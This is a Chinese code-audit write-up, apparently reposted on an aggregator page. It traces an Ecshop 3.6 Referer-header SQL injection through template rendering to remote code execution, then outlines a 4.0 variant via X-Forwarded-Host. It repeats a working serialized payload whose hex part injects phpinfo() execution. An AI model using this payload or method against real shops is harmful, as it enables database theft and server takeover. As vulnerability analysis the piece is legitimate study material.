终究没有人在意一家民营企业的生死

去泰国看了一场“成人秀”,画面尴尬到让人窒息.....

【少儿禁】马建《亮出你的舌苔或空空荡荡》

网友建议:远离举报者李X夫!

网曝黑人留学生侮辱中国女生是“母狗”,网友愤慨:不欢迎洋垃圾

生成图片,分享到微信朋友圈

自由微信安卓APP发布,立即下载! | 提交文章网址
查看原文

Ecshop 4.0 SQL(代码审计从Nday到0day )

黑白之道 2021-04-25

The following article is from EDI安全 Author echo_d


文章来源:EDI安全

payload Referer 处 SQL注入导致RCE(先对公开的进行分析学习)


02


为什么要在HTTP头 SQL注入


require(dirname(__FILE__).'/includes/init.php'); //核心文件

跟一下addslashes_deep做了什么

用户传参被转义,gbk的话可以宽字节绕过,或者考虑二次注入,或者找数字型注入,无需闭合。在HTTP头内的参数不会被转义。(优先考虑)

03


ecshop3.6 payload 分析


user.php?act=login   Referer 为入口处。


0x01

  • 45ea207d7a2b68c49582d2d22adf953aads 是什么?

  • a:2:{s:3:“num”;s:107:“*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -”;s:2:“id”;s:11:“-1‘ UNION/*”;} //为什么要序列化?




0x02

  • HTTP_REFERER 可控

  • assign加载 ;display展示模板文件 //可控参数被带入assign函数




0x03

  •  HTTP_REFERER 伪造




0x04

  • $back_act 可控




0x05

  • $smarty= new cls_template;




0x06

  • assign




0x07

  • assign

  • back_act  user_passport.dwt模板赋值



0x08

  • display



0x09

  • Display

  • 45ea207d7a2b68c49582d2d22adf953aads是什么?

  • _echash?对结果通过echash 进行分割处理



0x10

  • Display

  • 45ea207d7a2b68c49582d2d22adf953aads是什么?

  • _echash 的值

  • 与 payload中 45ea207d7a2b68c49582d2d22adf953aads 对比  多了ads



0x11

  • Display

  • Insert_mod 

  • 分割?(通过|进行了分割处理传参)


0x12

  • Display

  • Insert_mod 

  • a:2:{s:3:“num”;s:107:“*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -”;s:2:“id”;s:11:“-1‘ UNION/*”;} //为什么要序列化?




0x13

  • SQL

    过_echash 进行分割,传参进入insert_mod



0x14

  • SQL

通过_echash进行分割,传参进入insert_mod,打印$k会发现分割后,剩下的ads|序列化后的数据,进入insert_mod(key值为5,满足$key%2 ==1)


0x15

  • SQL

Insert_mod 处理

ads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}



0x16

  • SQL

Insert_mod处理,通过分割后,$fun与多出的ads 进行拼接,$para是我们可控的序列化数据,最后被带入insert_ads造成SQL 注入。



0x17

  • SQL 拼接导致的SQL 注入



0x18

  • HTTP 头传参(防止被转义)

  • 可控参数代入assign渲染模板

  • display 进行_echash进行分割,带入insert_mod

  • 一个可以利用的inser_xxx函数 造成SQL

04


Ecshop 4.0 SQL  葫芦画瓢



0x01

  • 新的HTTP头寻找





0x02

  • Get_domain以HTTP_X_FORWARDED_HOST获取返回Function url() 函数调用了 get_domain 函数。



0x03

  • 可控点有了,找带入assign然后被display展示,

比如user.php$action=collection_list 时,可控,代入,展示。



0x04

  • 可以加载的insert_xxx


  • Insert_user_account   拼接注入user_id等参数可控

 


05


Payload构造



0x01

  • $_echash

  • 函数名 user_account
  • SQLpayload 序列化后的数据



0x02

  • SQLpayload



06


总结


             Payload在文中~,更多干货、或者0day 请关注我们,持续get哦!                 [ 本文仅供学习参考,请勿用于非法用途]


推荐文章++++

*【代码审计】xyhcms3.5后台任意文件读取

*渗透测试之通过代码审计打点

*代码审计入门总结


    文章有问题?点此查看未经处理的缓存